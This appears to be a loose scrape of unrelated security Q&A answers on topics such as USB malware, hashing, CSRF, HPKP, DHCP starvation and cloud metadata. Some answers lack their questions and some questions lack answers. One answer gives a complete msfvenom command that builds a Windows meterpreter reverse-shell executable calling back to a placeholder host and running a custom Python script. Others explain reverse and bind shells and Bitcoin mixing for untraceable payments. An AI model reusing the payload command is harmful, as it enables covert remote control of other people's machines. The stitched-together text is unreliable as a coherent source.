Is Ubuntu Guest Session safer than Ubuntu Live CD for examining malicious USB drives?

In summary: guest account does not offer lots of protection. Use a read-only or throw away system instead (i.e. Live CD or Live USB) but even this does not offer full protection.

In detail:

Considering the case that the bad USB stick might contain a deliberately corrupted file system which causes a kernel exploit (not that unlikely, see CVE-2013-1773) then the underlying system will be compromised, no matter if this is a Ubuntu guest session or a live CD. Only with the guest account the system compromise is permanent while with the live CD its not, since a CD is a read-only medium. This will be different if you use a Live USB stick which is read-write but even then you could just re-install the stick before you use it the next time.

Even if you don't consider a direct kernel exploit through the file system but just want to execute some potentially malicious code as an unprivileged user you have to take in account privilege escalation attacks like this one which can again result in a compromised system. And even  if you don't want to execute code but just have a look at the data on the stick you might run into bugs like this one where just looking at a directory using some file explorer causes code execution which of course then can do a privilege escalation attack too.

@kasperd noted in a comment that even with read-only medium the BIOS/UEFI or other firmware on the system (like network or graphics card) could be modified to make an infection more permanent. And to add to this: as long as the network connection is only logically off a malware could enable it again and then attack other devices in the system, for example the router. This is especially true when using a guest account since the connection information for the WLAN are usually stored on the system already. But this is also true when using a Live CD but the WLAN is not protected.


Effects Of Encryption On Computer Systems

There are several major impacts, not all of them relevant to all users.

Performance (based on throughput, i.e. MB/s - the more data you're moving in a given timeframe, the more encryption has to happen in that timeframe - when the encryption can no longer keep up, your data moves more slowly); if you use symmetric AES encryption with software that uses AES-NI instructions on a CPU with AES-NI instructions, this is more or less negligible even at GB/s rates.
Data loss risk: Any sector going bad on an unencrypted disk leaves the rest of the data available.  On an encrypted system, if that sector contains your key, and the encryption was done properly, you just lost all your data unless you have a backup of your key.

So have a backup of your key!!!

and keep it secure!!!

This is highly desirable for fast easy disk wipes.

Certain backup factors - if you use liveCD/USB versions of drive image software like Paragon, Acronis, Ghost, etc., then that software can no longer do a normal, compressed, filesystem-aware backup.  It must do a sector-by-sector image of the entire hard drive, since with good encryption, the "free space" is encrypted as well.
Partition management - just like with backups, liveCD/USB versions of GParted or Partition Magic can no longer modify the size of your partitions, since it can't move data around within your filesystem.


What is a good way to authenticate a user to websites and applications with a smart phone?

Consider SQRL. It's a quite new, free, token based authentication system, using a client application. To authenticate, the client signs a cryptographic challenge with a per-domain private key. Thus it offers per-domain pseudonymity.

From Wikipedia:

  SQRL or Secure, Quick, Reliable Login (pronounced "squirrel") is a
  draft open standard for secure website login and authentication.

Some more resources:

Illustrated Guide to SQRL
Wikipedia article
Inventor's Website


Is it secure not to have csrf protection in login forms?

It is generally suggested that CSRF tokens are applied to login forms to prevent session donation attacks. The idea is that you can trick a user into visiting a link, and they become logged in under an account that you control. They then perform some action involving storing some secret information to the account, without noticing they're logged in as you, and that gets saved to your account.

A simple example might be a file upload site. If you can trick them into being logged in as you, they might upload a sensitive file into your account rather than theirs, and you can then steal that file.

For Wordpress this probably isn't so big a deal, because it's not particularly applicable to the functionality that Wordpress provides, and the wp-admin panel isn't really a "general user" area that an attacker would have a valid account for.


Save private messages encrypted in database

If the only way to do password recovery involves answering a question you could encrypt the private key once with the password and once more with the secret answer and store both encrypted versions in the database. Then if the user forgets the password and uses the secret answer for recovery you can access the private key and re-encrypt it with the new password (for normal usage). If the secret answer is being changed, the password should be requested and so the version that is encrypted with the answer can be re-generated.

This does have (at least) two issues. The 'secret' answer will often be not that hard to crack. This could be partially addressed by using PBKDF2 with a very large number of iterations (since this option would be used infrequently).
Another problem is, obviously, if for some reason you want to reset a user's password manually (i.e. they have convinced you of their identity without knowing the secret answer) then you won't be able to recover the messages. But depending on what compromises you are willing to make it could still be useful despite these problems.


PHP - Does password_hash/Argon2i effectively truncate passwords after certain length?

Argon2 is a key derivation function, or KDF. It is designed to be computationally-expensive and require a large amount of working memory in order to make brute force attacks more difficult. Internally, Argon2 uses a fast cryptographically-secure hash function called Blake2b.

A hash function takes an input of arbitrary length (the message) and maps it to an output of fixed length (the digest). When any single bit in the message changes, 50% of bits in the digest are expected to change. This effectively means that any change to the input results in a completely different output. Because the digest is a fixed size, the pigeonhole principle dictates that there will be some distinct messages which inevitably result in the same output digest. A cryptographically-secure hash function ensures that there is no mathematical way to predict what inputs will result in identical outputs. Any technique that makes finding such identical outputs easy is a collision attack.

A collision attack is any attack against a hash function f where a pair of inputs m ≠ m' is found and f(m) = f(m'). A 43-character base64-encoded output is 256 bits of data. Due to the birthday paradox, the collision resistance of an n-bit digest (a digest with a keyspace of 2n) is 2n / 2. This means the collision resistance of a 256-bit digest will be 2256 / 2 = 2128. A more mathematical explanation of hash function collisions and the birthday paradox is provided over at Crypto.SE.

In an information-theoretic sense, it would be more secure to use a larger output digest in that the output space would be larger. In practice, 128-bit collision resistance is more than enough.


Can we know what hacker has come up to so far in his attempt?

At a high level, what you are looking for is called an Incident Response Plan. Ideally, your organization will have created an Information Security Policy, and this would be one of the recommended items in the policy.

NIST has a good plan you can look at and follow: the Incident Handling and Response Guide.

At the lower level, you are still in the midst of an attack. You can't be sure the attacker didn't create a back door for himself somewhere in your network. Consider engaging a professional security firm to help ensure your response is adequate for your organization.


Why RSA signatures based on the hash of the message?

Technically, the signature works over the message; it so happens that the first step of the signature generation algorithm is to hash the message with a hash function, and the hash value is used afterwards.

Using a hash function is necessary because the RSA algorithm relies on integers modulo a given integer (which is part of the public key), so it cannot work with values which do not fit in that limited range. The hash function is also needed to ensure non-malleability (a rather technical internal characteristic). Using a hash function is sufficient because of the properties of cryptographic hash functions; namely, the resistance of hash functions to collisions and preimages really means that signing a hash is "as good" as signing the original message.


Letsencrypt gives you a file containing a string that the user then uploads onto the website of the domain you wish to verify. This verifies that your user has control of the domain.  DNS records are possible if there is no website, but this is cumbersome, and potentially very slow if the DNS has a long ttl.
The other real alternative is to send an e-mail to root@domain or postmaster@domain. No one who doesn't control the domain are going to be able to recieve these email addresses.
Of these DNS records are the most inconvenient I'm my opinion.


How to authorize user between each step in Multi-Factor-Authentication?

By giving them a session. The entire idea of a session is that a client receives some kind of number, which they give back to you upon every request. You will then have to decide how you deal with that number, and if you authorize this request.

As soon as they correctly enter their credentials, you can give them a session. That doesn't mean that that session is authorized to do anything yet, just that you are in the process of authenticating them.

Once the second factor authenticated them as well, you can mark the session as authorized to do whatever the user is authorized to do (e.g. creating a post, upvoting something, etc.).

If a user were attempting to perform such an action with a session that was not fully authorized (e.g. they did not enter the PIN sent via SMS), then they should receive the same error as a user who did not have a session at all.


How secure are sha256 + salt hashes for password storage

General-purpose hashes have been obsolete for passwords for over a decade. The issue is that they're fast, and passwords have low entropy, meaning brute-force is very easy with any general-purpose hash. You need to use a function which is deliberately slow, like PBKDF2, bcrypt, or scrypt. Crackstation actually explains this if you read the whole page. On the other hand, MD5 and SHA-1 aren't weaker than SHA-2 in the context of password hashing; their weakness is not relevant for passwords.


Zero-Day Exploit targeting Internet Explorer Versions 9 through 11

I really have no idea what level of technical competency the asker or any/everyone here is coming from so let try to start from the very bottom and work up and do in the simplest language I can. Please don't be offended if you have a masters in computer science or you're some ROP legend or whatever...

In order to understand the exploit in question, even at a basic level, you need to have some understanding of how a computer computes, ie you need to understand the fundamentals of a 'stored program controlled' machine. Once you have some grasp of that, we can talk about general buffer overflow attacks. Then once we understand buffer overflows we have an understanding of both of those things can we start to look at specific examples, non the less, relatively advanced examples making use of several of these more advanced techniques and hope to actually understand them in any detail.

Starting at the very bottom, let's briefly talk about how a computer computes or how processor processes... In your computer you have a CPU and the CPU has various registers on which it can do direct mathematical operations. The computer also has memory, where programs are loaded and run from. There's a special register called the instruction pointer and it's job is to point to location in memory where the current running program's instruction is located so the CPU can fetch and execute it. It does this one by one executing instructions until it gets to a jump or branch or return, etc. Then it will change the instruction pointer so it points to different place in memory and continues execution. This instruction pointer is very important. If you can hijack it, you might be able to get the computer to run things you put in other places in memory. Ever seen those t shirts which say “Got EIP?” That's what we're talking about here. If you can control EIP, you can control the machine.

Now, let's move 'up' a bit from this 'machine level.' Most modern programing languages have this concept of a subroutine call. This will cause the instruction pointer to jump to new area of memory where the function 's code is located. The function will run until it's finished and then control will return to the main program causing the instruction pointer to be set back to the place in the main function where execution left off before. To simplify that a bit.. So you've got this program running, and it runs until it gets to a function call. The function call will move execution to a different place in memory. It will then run in the new place until it gets to a return. At which point it will have to return to the main function. It should be clear that the machine is going to have remember that initial value, the value of the initial instruction pointer otherwise it wont know here to return to. This is known a return pointer.  So the return pointer contains the address of the calling function and is stored in a data structure (in memory) called the stack. The stack works in a LIFO manner, last in first out, hence why it's referred to as a 'stack.' The last one in is the first one out. Generally the stack contains things associated with function calls. Think of the stack as a sort of post it note for little things to remember. So when a function call gets made, the first thing that gets pushed on the stack is the function call arguments.. if there are any.. it then pushes the value of the instruction pointer in the main program on the stack (the return pointer).  then the function itself is invoked and it allocates space on the stack for local variables of the function itself. The function does it it's thing until it gets to its return. At which point those local variables come (pop) off the stack, then the return pointer is popped off  and which, once again, gets set as the instruction pointer - and we return to execution in the main program. This is literally happening millions of time per second on the computer in front of you.

Now, lets get into buffer overflow bugs. Buffer overflows in a class of bugs known as code errors. Buffer overflows have been known about many decades, but didn't became mainstream until back in 1996 with Aleph One's seminal paper called “Smashing the Stack for Fun and Profit” which appeared in Phrack magazine issue 49.  It's a worthwhile read, even today. Buffer overflows  allow an attacker to send data to a target machine and get some code executed ie, getting root/admin on the box. Some work locally and other work across the network. The basic idea is that a program which accepts user input, but doesn't properly check the size of the data before moving it around. It's about not having proper bounds checking on the input field. Think of shoving something very large into a small box. I won't get into an actual example of some vulnerable C code for the sake of both simplicity and brevity, the later of which is probably already out the window.

CHECK BACK IN A FEW HOURS. I have to go right now. I will be back. I will talk about the specific exploit in question. Sorry if this non-typical or usual behavior for this site, I am new here. Only been on a handful of times.


Is it better to choose a single vendor or multiple vendors

In no particular order and off the top of my head:

Single vendor:

easier and faster relationships
(usually) better integration of different products, provided they're not rebranded kits
simpler to "pass the buck" if products A and B don't see eye to eye - they're both the same vendor's responsibility.

Multiple vendors:

less risk of vendor lock-in
more competition, therefore possibility of lower prices
more difficult to keep track of licenses and contacts
risk of work duplication between different products (company A has a product that performs 1, 2, 3; company B has another performing 3, 4, 5. Task 3 may in some cases (e.g. antivirus) even lead to conflicts).
more possibility of precise tailoring of each product to your needs

As you see, the multiple vendor solution appears to have more "cons" - but these points shouldn't just be counted, they ought to be weighted in every specific situation. Also, most points are hypothetical, they are risks or opportunities, and whether they occur or not depends on the vendor(s) and situation.

I believe that neither option can be recommended a priori.

The man-hours and cost of maintenance is more or less proportional to the number of vendors, all other things being equal, but the savings (in price, resources, maintenance and productivity) are in percent, and therefore proportional to the number of installations and company size.

In a large company, with workforce and procedures to leverage, and a bigger budget, probably the multiple vendor option has chances to be better. A smaller firm, maybe without a true role dedicated to security, would probably find more convenient to negotiate a single offer and forget about it until next year's assessment.

From a security standpoint, I believe that what really counts is the product ecosystem: what products are really from any given vendor (instead of products rebranded and, perhaps, only maintained by the skeleton crews that survived the original company's acquisition), how they are supported and the vendor commitment to those products: best of all would obviously be a company that guarantees strong support to all its products, not only "flagship" or "developed-here" ones.

In my experience, "acquired" products are comparable to the original for the first version, appreciably worse for the next release(s) (when the acquiring company tries to shoehorn the product into its own shape, e.g. changing the UI or moving config files to XML and such), then improve steadily (or get ditched) as the programming teams get their act together.

What really makes the difference (but this is my own limited experience) is how much time (and budget) you can devote to following the products - checking updates, security alerts, browsing the forums, and maybe run some tests yourself on the side. How much the vendor ships a product because it believes in the product, instead of keeping it up so that they can make a "complete offer".

Usually, checking the contact pages and inspecting product and update history is enough to assess the level of commitment that product enjoys.

There is usually an argument about "biodiversity" in security products, that more or less boils down to:

several products from the same vendor and code base are likely to share the same vulnerabilities.
different products may have a "security overlap" so that what is not protected against by the one, will be intercepted by the other.

I believe that both points are close to moot (except insofar they descend from the vendor's attitude, if you will):

several products sharing common code will have that code tested harder, longer and better, and the bugs in there will be fixed once and for all. While different implementations of a same algorithm, sharing a conceptual vulnerability, will likely lead to staggered fixes and several vulnerability windows.
two products having an "overlap" is the same thing as either conflicting products or duplication of effort. If I want overlap, I purposely buy two products so that I can control the overlap - instead of relying to a chance duplication, whose extent might not even be fully known (because two products from the same vendor will have two different focuses; the overlap then will likely be in the "peripheral vision" area of both. If it's something that comes for free, an extra, I can enjoy it; but rely on it? Think again).

Here, again, these factors have to be assessed vendor-wise and considered in the light of your company's policy, budget and needs.


What is HPKP and how does it work in case of websites

HSTS and HPKP are different concepts.

An HTTP Strict Transport Security (HSTS) header instructs clients to use HTTPS for all future connections to a website, thereby preventing downgrade attacks. In contrast to HPKP, it doesn't influence how certificates are validated.

An HTTP Public Key Pinning (HPKP) header instructs clients to pin a specific public key to a domain. So, if a HPKP-supporting browser encounters a HPKP header, it will remember the specified public key hashes and associate them with that domain. In the future  (until the specified max-age timeout expires), the browser will only accept a certificate for that domain if any key in the certificate's trust chain matches one of the associated hashes.

HPKP mitigates the risk of an attacker issuing rogue certificates after having compromised a certificate authority (occasionally happens). Your browser would normally be unable to detect a fraudulent certificate if it has been correctly signed by a trusted CA. (Although there are mechanisms to detect certificate revocations, e.g. OCSP/CRLs.) But if you have pinned a particular certificate to a website beforehand, the attacker won't be able to replace it without triggering a browser waning.

Note that since HPKP is trust-on-first-use, it will (similar to HSTS) only be effective after your first visit to a website. An exception to that are preload lists maintained by browser vendors for high-profile websites (Google, Facebook, Twitter, etc.). This means that even if DigiCert (Facebook's CA) would be compromised today, an attacker would be unable to intercept your connection to Facebook because the original certificates' public keys are preloaded in your browser.


If you only allow ONE MAC through a port I can't see how DHCPstarv is going to work (unless it is some kind of distributed DHCPStarv attack).

DHCPStarv works by sending a lot of DHCP petitions so that the server doesn't have new IPs to provide to new clients. But if you can only ask for one a time it is not likely the attack is going to succeed.

After @RajesK comment (he has found the link answering his own question) I add the following:

  Although one might think that countermeasures such as as Port Security
  would be more than enough to prevent such attacks, that is not true
  with tools like Yersinia or dhcpstarv. This is because Port Security
  only considers the MAC source of the frame to create filters and then
  set accordingly what MAC addresses are allowed on a specific port
  (useful against MAC flooding attacks). The problem here is that these
  tools do not change this MAC (as eg macof does), but randomize the
  field Client Hardware Address (CHADDR) inside the DHCP payload. This
  field, along with the client identifier, is of great importance as it
  will be used (see RFC 2131) by the server to distinguish between the
  various requests of different customers. Without that, it would be
  difficult to distinguish between the various users when using a DHCP
  Relay Agent.

This means that the problem is that the DHCP protocol itself rely not on the MAC of the client who ask for the new IP but for the CHADDR field inside the DHCP protocol so, in fact, from the very same MAC you can ask for thousands of petitions just changing the CHADDR field.

The solution is in the very same link:

  Fortunately, DHCP Snooping is clever enough to read the payload of the
  DHCP protocol and verify that the source MAC address and CHADDR are
  the same (optional command ip dhcp snooping verify mac-address). It is
  also possible to set a “maximum threshold“, or number of packets per
  second that the switch can receive in a given port so, if the number
  of DHCP packets reaches this threshold, the port enters the shutdown
  mode (blocking) and it would generate a warning about the DoS.

Now, you are comparing the actual MAC address with the one inside the DHCP protocol so that when you find a different one you just discard the packet.

Saying this you should continue bear in mind the comments by @polynomial.


Wifi Educational Hacking - Aircrack-ng wpa vs wpa-psk


Theoretically, what are the best "reverse social engineering" methods for your password, and how good would they be?

It is pretty completely silly, if we ignore the lowest level of those capable of retrieving your password (e.g. your teenage kid).

For anybody else - they are unlikely to ever see your password with their own eyes, since the whole exploit process is typically scripted, if not fully automated.
So the whole usage scenario would be moot regardless.

And, hypothetically, what could you possibly say that would deter criminals from doing criminalish activities? E.g. even see the votey image... Perhaps "ImBatmanAndIKnowWhereYouLive".

And yet another aspect to consider - if that statement was really so powerful, it would still not be useful: there is the downside that the password owner still needs to be typing in his password, and the maternal disappointment effect would backfire.

That said, I did find it amusing, but @Zach is a very smart guy, so I don't think he meant it to be taken seriously in any way.


Licensing system for client side code web application

Your scheme is pretty close, i'd say. RSA in JavaScript is a pain in the ass, so look for a library that does it for you. This is my suggestion for your final scheme:

Client sends you the site id i
You sign that id with your private key p: S = RSA-SIGN(i, p) = i^d mod n
You send S back to the client in a file or in an e-mail
Client stores the license file
When the web app loads, download the file (S') and your public key o and do the math: S'' = RSA-VERIFY(S', o) = S'^e mod n. If S'' = S', the license is ok.

The RSA formulas in here are Textbook-RSA and cryptographically insecure. One might recover the private key. So make sure to use proper padding and hashing (keyword: PKCS7)

P.S.: As the TO said, this is not 100% secure. It cannot be since client-side code can be fully tampered with easily.

P.S.S.: I think an online form for steps 1 through 3 would be much better usability-wise than emailing that stuff around.


Apple bluetooth keyboard insecure connection?

Sounds like your keyboard is trying to establish an unencrypted connection.

This allows any attacker (with physical proximity) to sniff the connection with the keyboard and logging the keys, thus enabling him to steal passwords and login information.

An attacker could also hijack the connection and start controlling the computer as if he had the keyboard in his hands.

Such things can be achieved by using tools such as https://github.com/virtualabs/btlejack

You can fix this by pairing the keyboard with your mac.

Try forgetting the keyboard using the Bluetooth menu, then connect the keyboard using a physical USB cable, this should initiate a secure connection.


another option is this super simple python snippet i use all the time:

import hashlib
print hashlib.new('MD4', 'password'.encode('utf-16le')).hexdigest()

notice the NT hash is a simple MD4 hash on a Little Endian encoded [UTF16][3] password, this script encapsulates this logic well.


Well there are a few possibilities here. First of all when you are purchassing something with Bitcoin, you have to send that "something" to your house or email address. If it's non-physical you might be able to stay anonymous if you create your account behind Tor.

There are also a number of services that are speciliazed in making it harder to follow transactions. What they do is:

you pay them on address X which is created ad hoc
they use address Y to pay you on a new address, minus some transaction fees for their service
looking at your account someone can still see you sent money to a certain address of such a service, but they can't trace to where the service sent your money off to (which is your secret wallet).

This is not foolproof though as someone might try to figure out all addresses and cross-reference the amounts and wallet addresses.


What bad things could an "attacker" do with my stolen ID's?

I think the only piece of missing information needed to fill out the application for a Credit Card is your Social Security Number. Unfortunately Social Security Numbers are very easy to guess, although the attacker would have to know when you where born and what state you were born in, but this can be obtained from public records.


Is it safe to use a JWT as an Authorization Code?

Are you trying to avoid the use of regular authorization codes to avoid implementing the logic behind persisting them and expiring them once they have been used? Or do you have an impediment to roll out a database for that?
I think that if you do it with a JWT, you would still need to embed an id in the payload to identify the token and see if it matches the one you are expecting for a particular client, and for that you would need to keep record of which tokens were given out to which clients. Were you thinking of doing it differently?
I don't know the specifics of your use case, but generally speaking I would advise against doing something that is not commonly done in crypto. And if you can avoid doing the implementation of the server yourself, that would be better as well.
Let me know what you think about this.
Cheers!


Digital Certificate "Signature and Fingerprint"

Here is the relevant quote from RFC 5280.

  The signatureValue field contains a digital signature computed upon
     the ASN.1 DER encoded tbsCertificate.  The ASN.1 DER encoded
     tbsCertificate is used as the input to the signature function.  This
     signature value is encoded as a BIT STRING and included in the
     signature field.  The details of this process are specified for each
     of the algorithms listed in [RFC3279], [RFC4055], and [RFC4491].

  By generating this signature, a CA certifies the validity of the
     information in the tbsCertificate field.  In particular, the CA
     certifies the binding between the public key material and the subject
     of the certificate.

Basically, the certificate signature is a CA signed value of the information encoded in the certificate including things like the subject, the issuer and the public key of the certificate. The process of validating the signatures is described in various RFCs as mentioned.

The certificate fingerprint is simply a sha1 and sha256 hash value computed on the entire certificate.


How can I add modules to a Payload on Metasploit

I am not sure how much you are familiar with the Meterpreter ecosystem but if you have some experience, this should be easy to achieve through the python bindings in the stageless meterpreter.

The stageless meterpreter has an attribute called EXITINIT which can be set to any arbitrary python script and the session will execute the commands even before the handler is contacted. For this to work, it is important that the python extension is loaded. Both of these tasks can be achieved through:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> EXTENSIONS=stdapi,priv,python EXTINIT=python,/root/met.py -f exe -o met-stageless.exe

As can be seen, the EXTENSIONS are set to load python which will bake it into the generated EXE while the EXITINIT will load the python extension (by default only stapi is loaded) and run the commands specified in the /root/met.py file. If you can code an action in python (pretty much anything), you can run it through the python extension.


You may want to ask the reporter to explain what they think the security implications are.

Tricking the browser into showing a successful login via a locally forged API response does no harm unless the user can use that to actually bypass authentication or access confidential information. An attack would have to trick the server into assuming the authentication succeeded, not the client.

  I have no clue how to prevent this.

You can't prevent a user from tampering with data which has left your server. You have no control over the client (their browser) and can't stop them from using Burp (or the developer console for that matter) to rewrite requests and responses in ways that you web application didn't intend.

  And if I cannot prevent it, is there a better way to be authenticating users?

As Marc outlined, one possible approach is to have the API endpoint return a session token once the authentication succeeds. The client would then use this token to make further authenticated requests.


Is it possible to "encode" a bash sentence?

I don't know what that chain of characters is, but it's clearly not a shell command. What's happening is that bash is trying to interpret and act on various shell metacharacters in the string, but they're used in ways that don't make any sense, so bash is getting errors and/or doing things that don't make any sense.

Specifically: the string you linked starts with "D" followed by a single-quote. When bash sees a single-quote, it treats it as the beginning of a quoted section of the command line. There's no second single-quote to mark the end of the quoted section, so when you press return after entering it, the shell thinks you're entering a multi-line string. The "> " prompt is bash's standard continuation prompt, which indicates that you haven't entered a complete command yet, and you need to keep going until you get to a valid stopping point (i.e. not in the middle of a quoted string).

The other messages you report have to do with other metacharacters in the blocks of your chain:

bash treats "!" as the start of a history substitution, i.e. reusing all or part of a previous (historic) command (a past "event"); what comes after the "!" indicates what "event" you want to reuse, but it doesn't match anything so you get an "event not found" message.
bash treats backquotes as indicating command substitutions, i.e. running what's in backquotes as a command, then substituting that command's output in the current command line. I don't know exactly what the relevant text or error is, but apparently there's something that doesn't make sense between a couple of backquotes, and so the shell is complaining about it.


First, a thumbprint (also called fingerprint) of a CA certificate is not sufficient to verify the trust chain. In order to validate the trust chain you need to have the public key of the CA which is contained in the CA certificate but not in the thumbprint. Still, you can have a collection of CA certificates and then define using the thumbprint which to trust and which not.
Whenever a certificate gets renewed the certificate fingerprint will change because the fingerprint is computed based on the full certificate, which includes the (changed) expiration. A public key fingerprint is more stable in this regard since a renewal might reuse the previous public key and in this case the public key fingerprint will not change. But while this is at least possible it is far from guaranteed. A CA might decide to use a different public key, for example because the previous one was considered too weak and not sufficiently future proof.


Quoted from OWASP's CSRF Prevention page:

  Double Submit Cookies

  Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.

  While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.

No real reason not to just use the built-in CSRF prevention mechanism, almost all serious frameworks have this now.


What are the downsides to having PostgreSQL database available directly from public network?

I can see a couple downsides:

Remote access

This is the most basic one. If the attacker gets the credentials for any user of the database, it will have remote access. Not as improbable as you think. Remember that config.php.bak, vars.php.old, and so on, that someone left over? Guess what happens when the attacker uses dirbuster and grabs those...

Bruteforce attacks

Your IP is scanned all the time (the so-called internet background noise), and bots will find your Postgres installation. They will try to bruteforce credentials all the time.

Unknown exploits

If any time there's an exploit on Postgres that allows remote access (like this one), attackers can gain access to the database. Chaining it to any file write capability and the attackers can gain a shell.

Information disclosure

Depending on version and sub-version, the attackers can guess the distribution and kernel version your server is using. This can lead to more effective exploits.


This is a general question from AWS. It’s something I covered during my security specialty exam, I will try to dig more info, but:

If you are an IAM user, you can contact the admin/root user, and they can disable MFA for you.
If you are the root user, you’ll have to contact AWS support.

It doesn’t help that AWS does not allow you to register more than 1 yubikey per user. You’re stuck with a maximum of 1!


If automount mount is disabled I don't see how they could infect you. You could even go a step further and boot a live image and run your DD from there.


Docker container exposed port vulnerabilities on Debian server?

Authentication credentials are set as ENV variables, is the port
secure to be exposed?

First off, that port isn't exposed at all, based on the "filtered" response. This is saying that nmap didn't receive any traffic back from this port. But no, information about processes on your system generally can't be retrieved by talking to arbitrary ports. However, if the Dante server itself has vulnerabilities, an attacker who can connect to the service could potentially exploit them and gain other information this way.

Can someone publicly access the container's ENV variables with some
sort of scan tool?

Same as above, there is no link between that information and the port is inaccessible anyway.

Is gaining information that the port is additionally running docker or
alike possible?

There is zero information returned about that port at all, so no, not remotely with your current setup. Docker isn't even involved; the packets aren't getting past your kernel.

Are there tools apart from nmap that scan ports and return leaked info
or vulnerabilities?

Yes, many both free and paid. You can find network and vulnerability scanners by searching online.


How does my browser inherently trust a CA?

How my browser can inherently trust a CA? Does in contain hard coded public key of the CA?

Your browser (and possibly your OS) ships with a list of trusted CAs. These pre-installed certificates serve as trust anchors to derive all further trust from. When visiting an HTTPS website, your browser verifies that the trust chain presented by the server during the TLS handshake ends at one of the locally trusted root certificates.

  If so, why does not it expire?

Root certificates do expire, but they tend to have exceptionally long validity times (often about 20 years). You can expect that with an update of your browser or OS, you will get fresh root certificates before the old ones expire.

  Where can I see what CAs are inherently trusted by the browser?

That depends on your browser. Some browsers will just use the central root certificate store of your OS, if available.

For Mozilla Firefox, you can find information about the included certificates here and in this source code file. From within Firefox, you can view all your installed certificates by going to about:preferences and to Advanced > Certificates > View Certificates.

For Google Chrome, the root certificate policy can be found here. From within Google Chrome, you can go to the settings, click Show advanced settings... and under HTTPS/SSL you click Manage certificates to view all installed certificates.


I think the intent of OAuth scopes was to provide a framework for delegated consent, which is a form of discretionary authorization, but different from policy-driven authorization, which is what it sounds like you are trying to accomplish. The resource server has the responsibility to enforce both the delegation and the policy-driven approach.  Scopes wind up being a like a claim, if you try to model policy-driven authorization and similar to role-based access control, will grow exponentially with the permission (action-resource) matrix (read-account, write-account, etc.)  Your resource server developers have to know what each scope means to enforce:
@PreAuthorize("#oauth2.hasScope(‘read-account’)") so you can see the complex if-then-else logic that can result.
Consider externalizing your policy decision from your Resource Server by having it use all of the context it has (id_token attributes, resource metadata, client footprint, scopes) to make a request of a policy decision service with "can [subject] do [action] on [resource] in this [context/env]?"   The policy decision service is an domain that contains your risk, context and policy-driven rules like "External clients can read account details when the resource owner has a relationship with the account owner when 2-factor authentication is utilized."  Look for services that support standards like JSON profile for XACML. This will keep you from running into scope explosion and help achieve more cohesive policies.


There are countless ways spyware can exfiltrate information, including, but not limited to:

HTTP using a method such as GET, POST, PUT, etc.
Raw TCP or UDP payload contents.
Hidden in TCP or even IP headers (e.g. smuggled in the URG pointer).
ICMP payload contents, which are normally hidden.
Induced timing variations in legitimate network traffic.

Checking for sensitive data sent over HTTP POST will not help you detect spyware as there are so many other ways to exfiltrate information from a compromised server. Unfortunately, you will need to know what you are looking for in order to detect spyware traffic. However, if the spyware is not particularly advanced, there are many operating system-specific tools that you can use which will tell you what processes are communicating with the network. This of course assumes that the spyware is not running as a privileged user or in any other privileged context (e.g. kernel mode), otherwise it could hide from any such tools.


Cable modems connect via coax cable to the ISP's network. I have not seen a hardware firewall that could connect in such a way. Besides which, the firewall would need to replicate the ISP's settings for the customer's site in order for traffic to be accepted.

In short: no.


Can restarting a router result in its software being updated?

Short answer: It erases the volatile memory, which is where the plug-ins are stored that you're referring to. This was what was doing the heavy-lifting of the malware.

To fully get rid of malware, you are correct that the router's firmware will need to be upgraded or wiped and re-installed, but the malware referenced here  used various plug-ins that lived in and used the volatile parts of memory, similar to the RAM. This means a simple reboot killed whatever plugin was in use, but did not totally disinfect the router.

Check here for a more in-depth explanation. Some important excerpts from the link include:

  Once in place, the malware reports back to a command-and-control infrastructure that can install purpose-built plug-ins, according to the researchers. One plug-in lets the hackers eavesdrop on the victim’s Internet traffic to steal website credentials; another targets a protocol used in industrial control networks, such as those in the electric grid. A third lets the attacker cripple any or all of the infected devices at will.

And:

  That allowed the bureau to identify a key weakness in the malware. If a victim reboots an infected router, the malicious plugins all disappear, and only the core malware code survives.


Kubernetes bootstrap token with no expiration

Storing secrets in AWS instance metadata for Kubernetes clusters can be very dangerous unless carefully configured. The main risk is that an attacker who can get access to any container running on your cluster, will get access to the metadata service running on 169.254.169.254.
This could happen in a couple of ways. Firstly an attacker who finds a remote code execution vulnerability in one of your containers may be able to use curl or similar from the container to hit the cluster nodes metadata service.
Another possible attack route for this issue would be via Server-Side Request Forgery (SSRF) vulnerabilities in your containers, although using IMDSv2 can help here (reference here)
If you still need to store a privileged secret in AWS Metadata, you can look at mitigations for this risk, like using Network Policies to restrict access to the metadata endpoint from containers, or using something like kube2iam to restrict what AWS metadata access is possible from containers in the cluster.


Bind shells do not connect back to the attacker and accepts incoming connections from everyone by default. They have to be protected by a password or IP whitelist to be appropriate in redteaming. Firewalls usually block incoming connections, so the reverse shell is used to bypass that. But bind shells are more simple and shorter, and sometimes the only option in a buffer overflow with little room for shellcode


TalkTalk almost certainly meant 'SQL injection'. However 'sequential injection' has been repeated across the media. http://www.theregister.co.uk/2015/10/26/talktalk_sequential_attack/

For the curious, this kind of mistake is known as an eggcorn:

  Eggcorns often involve replacing an unfamiliar, archaic, or obscure word with a more common or modern word (eg. "baited breath" for "bated breath").


How do I store Diffie-Hellman parameters in a X.509 certificate?

